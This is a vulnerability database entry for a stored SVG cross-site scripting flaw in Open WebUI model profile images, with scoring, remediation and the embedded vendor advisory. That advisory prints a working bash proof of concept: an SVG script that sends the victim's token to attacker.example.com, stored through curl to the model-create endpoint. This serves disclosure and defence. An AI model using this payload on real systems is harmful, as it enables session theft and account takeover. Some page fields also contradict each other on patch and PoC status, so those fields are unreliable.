Skip to main content

Open WebUI CVE-2026-54013

| EUVDEUVD-2026-38529 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-06-17 https://github.com/open-webui/open-webui GHSA-v2qm-5wxj-qhj7
7.6
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privileged Open WebUI account
  2. Delivery
    Craft SVG with token-stealing <script>
  3. Exploit
    POST data:image/svg+xml payload to /api/v1/models/create
  4. Install
    Share model profile image URL in channel
  5. C2
    Victim opens link in new tab
  6. Execute
    SVG executes on app origin and exfiltrates JWT
  7. Impact
    Attacker replays token for admin takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must (1) hold an authenticated Open WebUI account with the workspace.models permission, which is enabled by default for all non-pending users and is therefore typically present; (2) reach POST /api/v1/models/create, /api/v1/models/update, or /api/v1/models/import to store a data:image/svg+xml;base64,... value in ModelMeta.profile_image_url; and (3) induce the victim to open https://TARGET/api/v1/models/model/profile/image?id=<modelid> as a top-level navigation - e.g., right-click 'Open image in new tab' on a model avatar, or click the raw link pasted into a channel. Exploitation is limited by the UI:R requirement (in-page <img src=...> avatar renders do not execute SVG scripts, so passive viewing of the model is safe) and by deployments that have revoked workspace.models from the default permission set; it is not gated by network position (AV:N) and does not require admin unless using the /import variant.

Impact

CVSS 3.1 base score is 7.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N) - network-reachable, low complexity, requires low privileges (workspace.models, which is granted by default to every non-pending user in a standard deployment), and requires one user click to open the image as a top-level document. The scope-changed High confidentiality impact is justified because successful exploitation steals the victim's JWT from localStorage and yields full API-level account takeover including password change and admin promotion. This CVE is not present on CISA KEV and no EPSS score, SSVC decision, or external exploitation telemetry was supplied, so prioritization rests on the qualitative signals: a fully detailed PoC is published in the GHSA advisory itself, the default permission model exposes any multi-tenant or community Open WebUI instance, and the bypass pattern (two prior advisories already exploited the same primitive) means attackers familiar with GHSA-3wgj-c2hg-vm6q can adapt in minutes. The UI:R gate and the need for the victim to use 'Open image in new tab' (the in-page <img src> render is safe) genuinely reduce drive-by risk, so realistic exploitation is targeted social-engineering inside an instance rather than mass scanning.

Exploit ScenarioDerived

An attacker with an ordinary Open WebUI account POSTs to /api/v1/models/create with a meta.profile_image_url set to data:image/svg+xml;base64,<payload> where the SVG contains a <script> that exfiltrates localStorage.getItem('token') to an attacker-controlled collector - the exact bash PoC is published in the GHSA advisory. The attacker then drops the URL /api/v1/models/model/profile/image?id=<modelid> into a shared channel; when a victim (including an admin) opens it in a new tab, the SVG renders as a top-level document on the Open WebUI origin, the script runs, and the stolen JWT is replayed against the API for password reset, admin promotion, and data exfiltration.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Stored cross-site scripting in Open WebUI versions up to and including 0.9.5 allows any authenticated user holding the default workspace.models permission to embed an SVG payload in a model's profile_image_url and hijack the session of anyone who opens that image URL as a top-level document. The flaw is an incomplete-patch bypass of GHSA-3wgj-c2hg-vm6q and GHSA-3856-3vxq-m6fc - the input validator and the MIME allowlist plus X-Content-Type-Options:nosniff added to the user and webhook endpoints were never applied to ModelMeta or the model image serving endpoint. No public exploit identified at time of analysis beyond the working PoC included in the advisory, and CVSS 7.6 reflects the cross-origin scope change leading to JWT theft and account takeover.

RemediationAI

Upgrade Open WebUI to version 0.9.6 or later, which is the vendor-released patch identified in GHSA-v2qm-5wxj-qhj7 (https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7). If immediate upgrade is not possible, the advisory's recommended source patch can be back-ported by adding a @field_validator('profile_image_url', mode='before') on ModelMeta in backend/open_webui/models/models.py that calls validate_profile_image_url, and by enforcing PROFILE_IMAGE_ALLOWED_MIME_TYPES plus X-Content-Type-Options: nosniff in the GET /api/v1/models/model/profile/image handler in backend/open_webui/routers/models.py - mirroring the existing users.py logic. As a temporary compensating control, revoke the workspace.models permission from the default user group so only trusted administrators can create or update models (trade-off: legitimate users lose the ability to define custom model configurations), and consider a reverse-proxy rule that injects X-Content-Type-Options: nosniff and a restrictive Content-Security-Policy on responses from /api/v1/models/model/profile/image, accepting that a strict CSP may break other in-app inline behaviour and must be tested.

Affected VersionsENISA

open-webui < 0.9.6

Affected Packages

pypi open-webui fix: 0.9.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI is a Python/FastAPI front-end for self-hosted LLM workloads distributed as pkg:pip/open-webui. The vulnerability is CWE-79 (Cross-site Scripting) in the ModelMeta Pydantic model at backend/open_webui/models/models.py, which lacks a @field_validator for profile_image_url, and in the GET /api/v1/models/model/profile/image route in backend/open_webui/routers/models.py, which base64-decodes the data: URI and returns it via StreamingResponse using the attacker-controlled media_type without consulting PROFILE_IMAGE_ALLOWED_MIME_TYPES and without emitting X-Content-Type-Options: nosniff. Because the prior fix function validate_profile_image_url already blocks image/svg+xml in data: URIs for UserUpdateForm, UpdateProfileForm, and ChannelWebhookForm, the root cause is purely a missed call-site - the SVG is served inline with Content-Type: image/svg+xml on the application origin, allowing embedded <script> elements to execute and read the JWT from localStorage.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 7.6 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
vuln.today AI 7.6 HIGH

Network-reachable HTTP API (AV:N), no special conditions (AC:L), requires a default-granted low-priv account (PR:L), victim must open image as top-level document (UI:R), JWT theft crosses to browser origin (S:C, C:H, I:L, A:N).

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/open-webui/open-webui).

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

DescriptionCVE.org

Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc

---

TL;DR

Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.

---

Past of the issue

In early 2025, two security advisories landed for Open WebUI:

  • GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
  • GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images

The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.

The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.

Except there was a fourth endpoint.

The Gap

Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:

python
# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    description: Optional[str] = None
    capabilities: Optional[dict] = None
    model_config = ConfigDict(extra='allow')

No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....

The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:

python
# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
    header, base64_data = profile_image_url.split(',', 1)
    image_data = base64.b64decode(base64_data)
    image_buffer = io.BytesIO(image_data)
    media_type = header.split(';')[0].lstrip('data:')

    headers = {'Content-Disposition': 'inline'}
# ...
    return StreamingResponse(
        image_buffer,
        media_type=media_type,
        headers=headers,
    )

No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.

Compare this with the patched user endpoint:

python
# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
# <-- ABSENT in models.py
    return FileResponse(f'{STATIC_DIR}/user.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
# <-- ABSENT in models.py
    },
)

The fix exists. It just was never applied here.

Comparison Table

EndpointInput ValidationMIME AllowlistnosniffStatus
GET /users/{id}/profile/imageYESYESYESPatched
GET /webhooks/{id}/profile/imageYESnonoPartially patched
GET /models/model/profile/imageNONONOVulnerable

Three Write Vectors

The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:

  1. POST /api/v1/models/create (line 195) any user with workspace.models permission
  2. POST /api/v1/models/update (line 581) model owner or admin
  3. POST /api/v1/models/import (line 279) admin only

The workspace.models permission is enabled by default for all non-pending users in a standard deployment.

The Attack

Step 1 Store the payload:

bash
SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>' | base64 -w0)

curl -s -X POST 'https://TARGET/api/v1/models/create' \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
      \"description\": \"Latest GPT-4 Turbo model\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

Step 2 Victim navigates to the image URL:

https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview

This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).

Step 3 Token theft:

The server responds:

http
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>

No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.

PoC

bash
#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5

TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal"
# attacker-controlled listener
# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
  </script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)
# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
      \"description\": \"Latest GPT-4 Turbo\"
    },
    \"params\": {},
    \"access_grants\": []
  }"
# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"

Expected server response at Step 3 (the proof - SVG served inline, no defenses):

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>

No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).

Trigger note: because the frontend loads model avatars in <img src=...> context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document - e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.

Root Cause

An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profile_image_url field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.

Recommended Fix

Input side add the validator to ModelMeta:

python
# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url

class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
# ...

    @field_validator('profile_image_url', mode='before')
    @classmethod
    def check_profile_image_url(cls, v):
        if v is None:
            return v
        return validate_profile_image_url(v)

Output side add MIME check and nosniff to the serving endpoint:

python
# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
    return FileResponse(f'{STATIC_DIR}/favicon.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
    },
)

Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

Executive ViewAI

Why It Matters

Open WebUI versions through 0.9.5 contain a stored cross-site scripting vulnerability enabling authenticated users with model administration permissions to steal account credentials and take over other user sessions by injecting malicious code into model profile images. The attack affects any user who accesses a compromised model image, creating organization-wide account takeover risk. Leadership should treat this as a credential security priority requiring immediate access control tightening and patch monitoring.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict workspace.models permission to trusted administrators; (2) Reject SVG and script-executable file types from model profile image uploads; (3) Monitor authentication logs for JWT exfiltration patterns and anomalous cross-origin session creation; (4) Deploy strict Content Security Policy headers; (5) Isolate Open WebUI instance on segregated network segment if feasible; (6) Temporarily disable model image serving feature pending patch release if operationally acceptable.

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy